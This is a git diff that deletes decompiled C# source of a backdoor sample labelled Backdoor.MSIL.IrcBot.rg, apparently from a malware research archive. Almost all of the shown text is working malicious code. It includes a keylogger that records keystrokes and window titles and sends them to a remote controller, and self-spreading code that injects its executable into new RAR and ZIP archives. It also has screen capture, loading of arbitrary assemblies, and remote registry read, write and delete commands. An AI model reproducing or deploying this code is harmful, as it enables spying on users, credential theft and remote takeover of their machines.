- memoryStream2.Dispose();
- MemoryStream memoryStream3 = new MemoryStream();
- memoryStream3.Write(Data, count + 5, Data.Length - count - 10);
- this.WC.AT(memoryStream3.ToArray());
- memoryStream3.Dispose();
- break;
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void fs_Created(object sender, FileSystemEventArgs e)
- {
- try
- {
- if (!(e.FullPath.ToLower().EndsWith(".rar") | e.FullPath.ToLower().EndsWith(".zip")))
- return;
- if (!System.IO.File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui))
- {
- try
- {
- System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true);
- System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- }
- else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath))
- {
- System.IO.File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui);
- System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true);
- System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal);
- }
- foreach (string Right in B.Block)
- {
- if (Operators.CompareString(e.FullPath, Right, false) == 0)
- return;
- }
- B.Block[B.inx] = e.FullPath;
- ++B.inx;
- Thread.Sleep(4000);
- if (!System.IO.File.Exists(e.FullPath))
- return;
- try
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "winrar",
- Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"",
- CreateNoWindow = true,
- WindowStyle = ProcessWindowStyle.Hidden
- });
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ++B.err;
- if (B.err > 9)
- {
- this.fs.EnableRaisingEvents = false;
- this.fs.Dispose();
- }
- ProjectData.ClearProjectError();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ++B.err;
- if (B.err > 9)
- {
- this.fs.EnableRaisingEvents = false;
- this.fs.Dispose();
- }
- ProjectData.ClearProjectError();
- }
- }
-
- public class Key
- {
- private static Clock Clock = new Clock();
- private static Keyboard K = new Keyboard();
-
- public static void Start()
- {
- try
- {
-label_9:
- if (false)
- return;
- Thread.Sleep(10);
- int i = 8;
- do
- {
- if (B.Key.GetAsyncKeyState(i) == (short) -32767)
- {
- string Left;
- if (Operators.CompareString(Left, B.Key.w(), false) == 0)
- {
- string S = B.Key.KK(ref i);
- B.Key.Write(ref S);
- }
- else
- {
- if ((object) B.Key.w() != (object) "" & (object) B.Key.w() != (object) " ")
- {
- Left = B.Key.w();
- string S = B.Key.HM() + Left + "\r\n\r\n";
- B.Key.Write(ref S);
- }
- string S1 = B.Key.KK(ref i);
- B.Key.Write(ref S1);
- }
- }
- ++i;
- }
- while (i <= (int) byte.MaxValue);
- goto label_9;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] ";
-
- public static void Write(ref string S)
- {
- if (B.KON)
- {
- try
- {
- B b = MyProject.Forms.B;
- string str = "X" + IND.Y + S;
- ref string local = ref str;
- b.SEND(ref local);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.KON = false;
- ProjectData.ClearProjectError();
- }
- }
- byte[] bytes = Encoding.Default.GetBytes(S);
- FileStream fileStream = new FileStream(Application.StartupPath + "\\" + B.exename, FileMode.Append);
- fileStream.Write(bytes, 0, bytes.Length);
- int length = (int) fileStream.Length;
- fileStream.Close();
- if (length <= 20480)
- return;
- try
- {
- System.IO.File.Delete(Application.StartupPath + "\\" + B.exename);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public static string KK(ref int i)
- {
- string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\"";
- string str = ")!@#$%^&*(";
- switch (i)
- {
- case 8:
- return "{BACKSPACE}";
- case 9:
- return "{TAP}";
- case 12:
- return "\r\n";
- case 13:
- return "\r\n";
- case 27:
- return "{ESC}";
- case 32:
- return " ";
- case 46:
- return "{DEL}";
- case 186:
- return B.Key.u() ? ":" : ";";
- case 187:
- return B.Key.u() ? "+" : "=";
- case 188:
- return B.Key.u() ? "<" : ",";
- case 189:
- return B.Key.u() ? "_" : "-";
- case 190:
- return B.Key.u() ? ">" : ".";
- case 191:
- return B.Key.u() ? "?" : "/";
- case 192:
- return B.Key.u() ? "~" : "`";
- case 219:
- return B.Key.u() ? "{" : "[";
- case 220:
- return B.Key.u() ? "|" : "\\";
- case 221:
- return B.Key.u() ? "}" : "]";
- case 222:
- return B.Key.u() ? "\"" : "'";
- default:
- if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0)
- return "";
- if (!B.Key.u())
- return Strings.ChrW(i).ToString().ToLower();
- try
- {
- int index = 0;
- while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index)
- {
- ++index;
- if (index > 9)
- goto label_48;
- }
- return Conversions.ToString(str[index]);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
-label_48:
- return Strings.ChrW(i).ToString().ToUpper();
- }
- }
-
- public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown;
-
- [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern short GetAsyncKeyState(int vKey);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern IntPtr GetForegroundWindow();
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowTextLength(long hwnd);
-
- public static string w()
- {
- string str;
- try
- {
- IntPtr foregroundWindow = B.Key.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- {
- str = " ";
- }
- else
- {
- int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow);
- string WinTitle = Strings.StrDup(windowTextLength + 1, "*");
- B.Key.GetWindowText(foregroundWindow, ref WinTitle, windowTextLength + 1);
- int lpdwProcessID;
- B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID);
- if (lpdwProcessID == 0)
- {
- str = WinTitle;
- }
- else
- {
- try
- {
- str = Process.GetProcessById(lpdwProcessID).MainWindowTitle;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str = WinTitle;
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str = " ";
- ProjectData.ClearProjectError();
- }
- return str;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.csproj b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.csproj
deleted file mode 100644
index 4eb21c93..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.csproj
+++ /dev/null
@@ -1,65 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {B96B27EB-88BA-4344-9B5C-492899E75039}
- WinExe
- n
- 0.0.0.0
- n
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.sln b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.sln
deleted file mode 100644
index b13fc1d4..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Backdoor.MSIL.IrcBot.rg.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "n", "Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.csproj", "{B96B27EB-88BA-4344-9B5C-492899E75039}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {B96B27EB-88BA-4344-9B5C-492899E75039}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {B96B27EB-88BA-4344-9B5C-492899E75039}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {B96B27EB-88BA-4344-9B5C-492899E75039}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {B96B27EB-88BA-4344-9B5C-492899E75039}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/C.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/C.cs
deleted file mode 100644
index 421a3f79..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/C.cs
+++ /dev/null
@@ -1,152 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.C
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Threading;
-
-namespace n
-{
- public class C
- {
- public static byte[] Plug;
-
- public static object inv(ref byte[] F, ref string C, ref string S, ref object P)
- {
- Assembly assembly = Assembly.Load(F);
- return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P);
- }
-
- public static Image Capture(ref int hwd)
- {
- API.wd.ShowWindow(hwd, 5);
- Thread.Sleep(100);
- C.RECT lpRect = new C.RECT();
- C.GetWindowRect((IntPtr) hwd, ref lpRect);
- string str = Conversions.ToString(lpRect.top) + Conversions.ToString(lpRect.right) + Conversions.ToString(lpRect.left) + Conversions.ToString(lpRect.bottom);
- int index = 0;
- int num1;
- for (int length = str.Length; index < length; ++index)
- {
- if (Operators.CompareString(Conversions.ToString(str[index]), "-", false) == 0)
- ++num1;
- }
- if (num1 == 4)
- {
- ref int local1 = ref hwd;
- int num2 = 2;
- ref int local2 = ref num2;
- API.wd.G(ref local1, ref local2);
- ref int local3 = ref hwd;
- int num3 = 1;
- ref int local4 = ref num3;
- API.wd.G(ref local3, ref local4);
- C.GetWindowRect((IntPtr) hwd, ref lpRect);
- }
- Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
- Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
- graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
- graphics1.Dispose();
- Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- bitmap1.Dispose();
- Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
- Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
- graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
- graphics2.Dispose();
- return bitmap2.GetThumbnailImage((int) Math.Round((double) bitmap2.Width / 2.0 + (double) bitmap2.Width / 6.0), (int) Math.Round((double) bitmap2.Height / 2.0 + (double) bitmap2.Height / 6.0), (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- }
-
- public static byte[] Capture1(ref int q)
- {
- IntPtr foregroundWindow = API.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- return new MemoryStream(sc.gc(ref q)).ToArray();
- int num;
- switch (q)
- {
- case 0:
- num = 65;
- break;
- case 1:
- num = 60;
- break;
- case 2:
- num = 55;
- break;
- case 3:
- num = 50;
- break;
- case 4:
- num = 45;
- break;
- case 5:
- num = 40;
- break;
- case 6:
- num = 35;
- break;
- case 7:
- num = 30;
- break;
- case 8:
- num = 25;
- break;
- case 9:
- num = 20;
- break;
- case 10:
- num = 10;
- break;
- }
- EncoderParameters encoderParams = new EncoderParameters(1);
- encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num);
- ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
- C.RECT lpRect = new C.RECT();
- C.GetWindowRect(foregroundWindow, ref lpRect);
- Size blockRegionSize = new Size(lpRect.right, lpRect.bottom);
- Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height);
- Graphics graphics1 = Graphics.FromImage((Image) bitmap1);
- graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy);
- graphics1.Dispose();
- Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero);
- bitmap1.Dispose();
- Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top);
- Graphics graphics2 = Graphics.FromImage((Image) bitmap2);
- graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel);
- graphics2.Dispose();
- MemoryStream memoryStream = new MemoryStream();
- bitmap2.Save((Stream) memoryStream, encoderInfo, encoderParams);
- return memoryStream.ToArray();
- }
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetDesktopWindow();
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetWindowDC(IntPtr hwnd);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc);
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect);
-
- public struct RECT
- {
- public int left;
- public int top;
- public int right;
- public int bottom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Delegates/T/T.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Delegates/T/T.cs
deleted file mode 100644
index dddaf833..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/Delegates/T/T.cs
+++ /dev/null
@@ -1,31 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.Delegates.T.T
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Windows.Forms;
-
-namespace n.Delegates.T
-{
- [StandardModule]
- public sealed class T
- {
- public static void appendText(ref Form Frm, ref byte[] D)
- {
- if (Frm == null || Frm.IsDisposed)
- return;
- if (Frm.InvokeRequired)
- {
- n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText);
- Frm.Invoke((Delegate) method, (object) Frm, (object) D);
- }
- else
- IND.ind(D);
- }
-
- private delegate void DELappendText(ref Form Frm, ref byte[] D);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/IND.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/IND.cs
deleted file mode 100644
index 118f94aa..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/IND.cs
+++ /dev/null
@@ -1,2404 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.IND
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.VisualBasic.Devices;
-using Microsoft.Win32;
-using n.My;
-using System;
-using System.Diagnostics;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Net.Sockets;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.ServiceProcess;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- [StandardModule]
- internal sealed class IND
- {
- public static string TM = Interaction.Environ("temp") + "\\";
- public static string Y = "^:^";
- private static int ER;
- public static int LPING;
- public static chat Ca = new chat();
- private const int MOUSEEVENTF_ABSOLUTE = 32768;
- private const int MOUSEEVENTF_LEFTDOWN = 2;
- private const int MOUSEEVENTF_LEFTUP = 4;
- private const int MOUSEEVENTF_MOVE = 1;
- private const int MOUSEEVENTF_MIDDLEDOWN = 32;
- private const int MOUSEEVENTF_MIDDLEUP = 64;
- private const int MOUSEEVENTF_RIGHTDOWN = 8;
- private const int MOUSEEVENTF_RIGHTUP = 16;
- private static string pk;
-
- public static void inddd(string T)
- {
- RichTextBox t1 = B.Chat.T1;
- t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n";
- }
-
- public static RegistryKey Rk(ref string p, ref bool W)
- {
- Array Instance = (Array) Strings.Split(p, "\\");
- object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null);
- RegistryKey registryKey;
- if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false))
- registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false))
- registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false))
- registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false))
- registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false))
- registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0);
- return registryKey;
- }
-
- public static void ind(byte[] Da)
- {
- IND.ER = 0;
- string str1 = Encoding.UTF8.GetString(Da);
- int num1;
- try
- {
- Array Instance1 = (Array) Strings.Split(str1, IND.Y);
- string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 0
- }, (string[]) null).ToString();
- int num2;
- if (Operators.CompareString(Left1, "#KON", false) == 0)
- {
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null), (object) "T", false))
- B.KON = true;
- else
- B.KON = false;
- }
- else if (Operators.CompareString(Left1, "#RG", false) == 0)
- {
- IND.ER = 1;
- object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false))
- {
- Array Instance2 = Instance1;
- object[] objArray1 = new object[1];
- object[] objArray2 = objArray1;
- int num3 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local1 = (ValueType) num3;
- objArray2[0] = (object) local1;
- object[] Arguments = objArray1;
- string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
- ref string local2 = ref str2;
- bool flag = false;
- ref bool local3 = ref flag;
- RegistryKey registryKey1 = IND.Rk(ref local2, ref local3);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num3,
- (object) str2
- }, (string[]) null, true, false);
- RegistryKey registryKey2 = registryKey1;
- string Right;
- string s;
- foreach (string subKeyName in registryKey2.GetSubKeyNames())
- {
- string str3 = Right;
- s = subKeyName + IND.Y + IND.Y + "Key";
- string str4 = API.ENB(ref s);
- string y = IND.Y;
- Right = str3 + str4 + y;
- }
- foreach (string valueName in registryKey2.GetValueNames())
- {
- string str5 = registryKey2.GetValue(valueName, RuntimeHelpers.GetObjectValue(new object())).ToString();
- if (str5.Length > 200)
- str5 = Strings.Mid(str5, 1, 200);
- string str6 = Right;
- s = valueName + IND.Y + str5 + IND.Y + "Value";
- string str7 = API.ENB(ref s);
- string y = IND.Y;
- Right = str6 + str7 + y;
- }
- B b = MyProject.Forms.B;
- s = Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#RG" + IND.Y + "~" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)), (object) IND.Y), (object) Right));
- ref string local4 = ref s;
- b.SEND(ref local4);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "!", false))
- {
- Array Instance3 = Instance1;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- int num4 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local5 = (ValueType) num4;
- objArray4[0] = (object) local5;
- object[] Arguments = objArray3;
- string str8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance3, Arguments, (string[]) null));
- ref string local6 = ref str8;
- bool flag = true;
- ref bool local7 = ref flag;
- RegistryKey registryKey = IND.Rk(ref local6, ref local7);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num4,
- (object) str8
- }, (string[]) null, true, false);
- registryKey.SetValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 3
- }, (string[]) null)), RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 4
- }, (string[]) null)));
- }
- else if (Operators.ConditionalCompareObjectEqual(Left2, (object) "@", false))
- {
- Array Instance4 = Instance1;
- object[] objArray5 = new object[1];
- object[] objArray6 = objArray5;
- int num5 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local8 = (ValueType) num5;
- objArray6[0] = (object) local8;
- object[] Arguments = objArray5;
- string str9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, Arguments, (string[]) null));
- ref string local9 = ref str9;
- bool flag = true;
- ref bool local10 = ref flag;
- RegistryKey registryKey3 = IND.Rk(ref local9, ref local10);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num5,
- (object) str9
- }, (string[]) null, true, false);
- RegistryKey registryKey4 = registryKey3;
- int num6 = Instance1.Length - 1;
- for (int index = 3; index <= num6; ++index)
- {
- Array Instance5 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)), "\\");
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
- {
- (object) 1
- }, (string[]) null), (object) "Key", false))
- registryKey4.DeleteSubKeyTree(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
- {
- (object) 0
- }, (string[]) null)));
- else
- registryKey4.DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, new object[1]
- {
- (object) 0
- }, (string[]) null)));
- }
- }
- else
- {
- if (!Operators.ConditionalCompareObjectEqual(Left2, (object) "#", false))
- return;
- Array Instance6 = Instance1;
- object[] objArray7 = new object[1];
- object[] objArray8 = objArray7;
- int num7 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local11 = (ValueType) num7;
- objArray8[0] = (object) local11;
- object[] Arguments = objArray7;
- string str10 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance6, Arguments, (string[]) null));
- ref string local12 = ref str10;
- bool flag = true;
